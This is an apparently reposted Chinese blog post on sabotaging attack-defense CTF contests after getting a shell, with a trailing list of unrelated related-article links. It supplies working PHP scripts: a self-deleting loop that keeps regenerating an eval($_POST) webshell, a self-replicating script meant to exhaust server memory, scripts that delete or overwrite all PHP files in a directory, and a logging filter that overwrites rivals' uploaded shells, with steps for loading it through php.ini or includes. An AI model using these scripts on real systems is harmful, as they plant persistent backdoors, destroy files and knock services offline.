如何在CTF中当搅屎棍
论如何在CTF比赛中搅屎 0×00 前言 不能搅屎的CTF不是好CTF,不能搅屎的题目不是好题目。 我很赞成phithon神的一句话,“比赛就是和他人竞争的过程,通过各种手段阻止对手拿分我觉得也是一种能力。” 你能够做到别人做不到的,那就是你的本事。 本文所说的搅屎是在GETSHELL的情况下才能进行的!!!遇到phithon师傅的《CTF主办方指南之对抗搅屎棍》就GG了 0×01 预备知识 大多数能够搅屎的题目基本上是PHP且需要getshell的。所以,必备的PHP语法基本只是必须要懂~ 接下来是介绍一些特殊的PHP内置函数 ignore_user_abort() 设置客户端断开连接时是否中断脚本的执行 PHP以命令行脚本执行时,当脚本终端结束,脚本不会被立即中止,除非设置 value 为 TRUE,否则脚本输出任意字符时会被中止。 ignore_user_abort(1); set_time_limit() 设置脚本最大执行时间 设置允许脚本运行的时间,单位为秒。如果超过了此设置,脚本返回一个致命的错误。默认值为30秒,或者是在php.ini的max_execution_time被定义的值,如果此值存在。 set_time_limit(0); ini_get() 获取一个配置选项的值 成功时返回配置选项的值。 echo ‘disable_functions=’.ini_get(‘disable_functions’); file_put_contents() 将一个字符串写入文件 和依次调用 fopen(),fwrite() 以及 fclose() 功能一样。 file_put_contents($filename, $content); file_get_contents() 将整个文件读入一个字符串 和 file() 一样,只除了 file_get_contents() 把文件读入一个字符串。将在参数 offset 所指定的位置开始读取长度为 maxlen 的内容。如果失败,file_get_contents() 将返回 FALSE。 当然这个函数也可以通过其他协议读取文件内容 file_get_contents($filename); file_get_contents($url); file_put_contents() 将一个字符串写入文件 和依次调用 fopen(),fwrite() 以及 fclose() 功能一样。 file_put_contents($filename, $content); unlink() 删除文件 删除 filename。和 Unix C 的 unlink() 函数相似。 发生错误时会产生一个 E_WARNING 级别的错误。 unlink($filename); 给你的PHP脚本加上set_time_limit(0);ignore_user_abort(1);这两句就能够做的常驻内存了。 对待这种情况,基本上只能重启PHP了。 0×02 搅屎之不死鸟 no_die_shell.php <?php set_time_limit(0); ignore_user_abort(1); unlink(__FILE__); //file_put_contents(__FILE__,”); while(1){ file_put_contents(‘path/webshell.php’,'<?php @eval($_POST["password"]);?>’); } ?> 首先就是删除自己,不让别人知道,然后在某一个目录下循环生成你的webshell,根本删不掉~~ 0×03 搅屎之核弹 nuclear_bomb.php <?php set_time_limit(0); ignore_user_abort(true); while(1){ file_put_contents(randstr().’.php’,file_get_content(__FILE__)); file_get_contents(“http://127.0.0.1/“); } ?> 根据代码,不难看出这个脚本的功能。 常驻内存之后,进入死循环。 循环内部是实现无效複製自身并且访问web服务的功能。 执行的后果就是内存爆炸,php就GG了,严重点的话,Docker也GG。 0×04 搅屎之你死我活 del.php <?php set_time_limit(0); ignore_user_abort(1); array_map(‘unlink’, glob(“some/dir/*.php”)); ?> del_or_change.php <?php set_time_limit(0); ignore_user_abort(1); unlink(__FILE__); function getfiles($path){ foreach(glob($path) as $afile){ if(is_dir($afile)) getfiles($afile.’/*.php’); else @file_put_contents($afile,”#Anything#”); //unlink($afile); } } while(1){ getfiles(__DIR__); sleep(10); } ?> 遍曆目录,得到所有的php文件,然后至于你想改写内容还是直接删掉,看心情了。 遍曆目录的方法很多,但是大多数这些函数都被禁用了(disable_functions)。 偶尔有个别漏网之鱼,比如glob~~这个函数比较少见吧。所以这样就用了它。 如果删除函数unlink被ban掉就改写咯 0×05 搅屎之WAF 感觉这个杀器有点邪恶。对于线下赛来说,近乎于无敌,反正我自己没有什麽好的方法破解。 噁心人啊。 php_waf_and_log_to_txt.php <?php error_reporting(0); define(‘LOG_FILENAME’,'log.txt’); function waf() { if (!function_exists(‘getallheaders’)) { function getallheaders() { foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == ‘HTTP_’) $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; } return $headers; } } $get = $_GET; $post = $_POST; $cookie = $_COOKIE; $header = getallheaders(); $files = $_FILES; $ip = $_SERVER["REMOTE_ADDR"]; $method = $_SERVER['REQUEST_METHOD']; $filepath = $_SERVER["SCRIPT_NAME"]; //rewirte shell which uploaded by others, you can do more foreach ($_FILES as $key => $value) { $files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']); file_put_contents($_FILES[$key]['tmp_name'], “virink”); } unset($header['Accept']);//fix a bug $input = array(“Get”=>$get, “Post”=>$post, “Cookie”=>$cookie, “File”=>$files, “Header”=>$header); //deal with $pattern = “select|insert|update|delete|and|or|\’|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex”; $pattern .= “|file_put_contents|fwrite|curl|system|eval|assert”; $pattern .=”|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore”; $pattern .=”|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec”; $vpattern = explode(“|”,$pattern); $bool = false; foreach ($input as $k => $v) { foreach($vpattern as $value){ foreach ($v as $kk => $vv) { if (preg_match( “/$value/i”, $vv )){ $bool = true; logging($input); break; } } if($bool) break; } if($bool) break; } } function logging($var){ file_put_contents(LOG_FILENAME, “\r\n”.time().”\r\n”.print_r($var, true), FILE_APPEND); // die() or unset($_GET) or unset($_POST) or unset($_COOKIE); } waf(); ?> 这个WAF在线下攻防赛中,绝对是一个大杀器。 不仅拦截了大多数非法语句,还能记录所有的攻击流量,轻松得到别人的payload。 不知道主办方要如何解决这个WAF所存在的问题。 当然,这个WAF应该也不是完美的,还可以添加更多的规则,让他变得更强! 接下来再说说,在实战中如何加载这个WAF。 根据权限不同,就有不同的加载方式。 有root权限 那麽,这样就简单了,直接写在配置中。 vim php.ini auto_append_file = “/dir/path/phpwaf.php” 重启Apache或者php-fpm就能生效了。 当然也可以写在 .user.ini 或者 .htaccess 中。 php_value auto_prepend_file “/dir/path/phpwaf.php” 只有user权限 没写系统权限就只能在代码上面下手了,也就是文件包含。 这钟情况又可以用不同的方式包含。 如果是框架型应用,那麽就可以添加在入口文件,例如index.php, 如果不是框架应用,那麽可以在公共配置文件config.php等相关文件中包含。 include(‘phpwaf.php’); 还有一种是替换index.php,也就是讲index.php改名为index2.php,然后讲phpwaf.php改成index.php。 当然还没完,还要在原phpwaf.php中包含原来的index.php。 index.php -> index2.php phpwaf.php -> index.php include(‘index2.php’); 至于你想用哪种方式,看你心情咯,你开心就好。 0×06 结束语 写这篇文章的目的并不是让大家都去CTF搅屎,毕竟CTF是一个正规的比赛的地方,有助于我们学习更多的技术以及黑科技。 当然,服务器维护人员也是很辛苦的。 我们暴打出题人就好了,何必为难运维。(出题人就是运维的情况下,例外!!!) 希望大家用正确的心态看这篇文章,“PHP是世界上最好的语言”,能够挖掘的地方还有很多。 主办方,表打我欸。
如何在CTF中当搅屎棍的更多相关文章
- 我是如何在SQLServer中处理每天四亿三千万记录的
首先声明,我只是个程序员,不是专业的DBA,以下这篇文章是从一个问题的解决过程去写的,而不是一开始就给大家一个正确的结果,如果文中有不对的地方,请各位数据库大牛给予指正,以便我能够更好的处理此次业务. ...
- 如何在SpringBoot中使用JSP ?但强烈不推荐,果断改Themeleaf吧
做WEB项目,一定都用过JSP这个大牌.Spring MVC里面也可以很方便的将JSP与一个View关联起来,使用还是非常方便的.当你从一个传统的Spring MVC项目转入一个Spring Boot ...
- 如何在latex 中插入EPS格式图片
如何在latex 中插入EPS格式图片 第一步:生成.eps格式的图片 1.利用visio画图,另存为pdf格式的图片 利用Adobe Acrobat裁边,使图片大小合适 另存为.eps格式,如下图所 ...
- 如何正确的使用json?如何在.Net中使用json?
什么是json json是一种轻量级的数据交换格式,由N组键值对组成的字符串,完全独立于语言的文本格式. 为什么要使用json 在很久很久以前,调用第三方API时,我们通常是采用xml进行数据交互,但 ...
- [原创]如何在Parcelable中使用泛型
[原创]如何在Parcelable中使用泛型 实体类在实现Parcelable接口时,除了要实现它的几个方法之外,还另外要定义一个静态常量CREATOR,如下例所示: public static cl ...
- 如何在springMVC 中对REST服务使用mockmvc 做测试
如何在springMVC 中对REST服务使用mockmvc 做测试 博客分类: java 基础 springMVCmockMVC单元测试 spring 集成测试中对mock 的集成实在是太棒了!但 ...
- 如何在tomcat中如何部署java EE项目
如何在tomcat中如何部署java EE项目 1.直接把项目复制到Tomcat安装目录的webapps目录中,这是最简单的一种Tomcat项目部署的方法,也是初学者最常用的方法.2.在tomcat安 ...
- 【转】我是如何在SQLServer中处理每天四亿三千万记录的
原文转自:http://blog.jobbole.com/80395/ 首先声明,我只是个程序员,不是专业的DBA,以下这篇文章是从一个问题的解决过程去写的,而不是一开始就给大家一个正确的结果,如果文 ...
- 如何在JAVA中实现一个固定最大size的hashMap
如何在JAVA中实现一个固定最大size的hashMap 利用LinkedHashMap的removeEldestEntry方法,重载此方法使得这个map可以增长到最大size,之后每插入一条新的记录 ...
随机推荐
- Sharepoint学习笔记—习题系列--70-576习题解析 -(Q95-Q98)
Question 95 Your development team has asked you to help them determine the cause of an error in a ...
- 操作系统开发系列—13.b.进程之丰富中断处理程序
首先打开时钟中断: out_byte(INT_M_CTLMASK, 0xFE); // Master 8259, OCW1. out_byte(INT_S_CTLMASK, 0xFF); // Sla ...
- 【C语言】C语言标识符
目录: [定义] [作用] [命名规则] [命名规范] 1.定义 标识符就是我们给函数或变量定义的名称.方便查阅增强可读性.减少沟通成本. 2.作用 · 增强可读性. · 减少沟通成本. ...
- Android 手机卫士--解析json与消息机制发送不同类型消息
本文地址:http://www.cnblogs.com/wuyudong/p/5900800.html,转载请注明源地址. 1.解析json数据 解析json的代码很简单 JSONObject jso ...
- Android 短信的还原
上篇文章讲到<Android 短信的备份>,本文主要实现Android 短信的还原,即是将一条 布局文件: <RelativeLayout xmlns:android="h ...
- iOS开发UINavigation——导航控制器UINavigationController
iOS开发UINavigation系列一——导航栏UINavigtionBar摘要iOS中的导航条可以附着于导航控制器之中使用,也可以在controller中单独使用,这篇博客,主要讨论有关导航栏的使 ...
- 一次对MKMapView的性能优化
一次对MKMapView的性能优化 前言 最近做的项目主要是LBS这块 主打成员定位功能 我们的UI设计是这样的 乍一看上去是挺好挺美观的 不同的人会显示不同的头像 可是当人扎堆的时候 问题就来了 当 ...
- Linux 系统中用户切换
1. Linux系统中用户切换的命令为su,语法为: su [-fmp] [-c command] [-s shell] [--help] [--version] [-] [USER [ARG]] 参 ...
- C#语言基础——结构体和枚举类型
结构体和枚举类型 一.结构体(struct) 结构类型是用户自己定义的一种类型,它是由其他类型组合而成的,可包含构造函数.常数.字段.方法.属性.索引器.运算符.事件和嵌套类型的值类型.结构在几个重要 ...
- 学C#你应该熟练使用ILDasm和Reflector【带视频教程】
我们在学习C#的时候通常都会多多少少接触ILDasm和Reflector,这两样工具让我们对C#的理解不会只停留在编译器这个层面 上,而是让我们更深入的穿透编译器.这篇也是希望对IL和Reflecto ...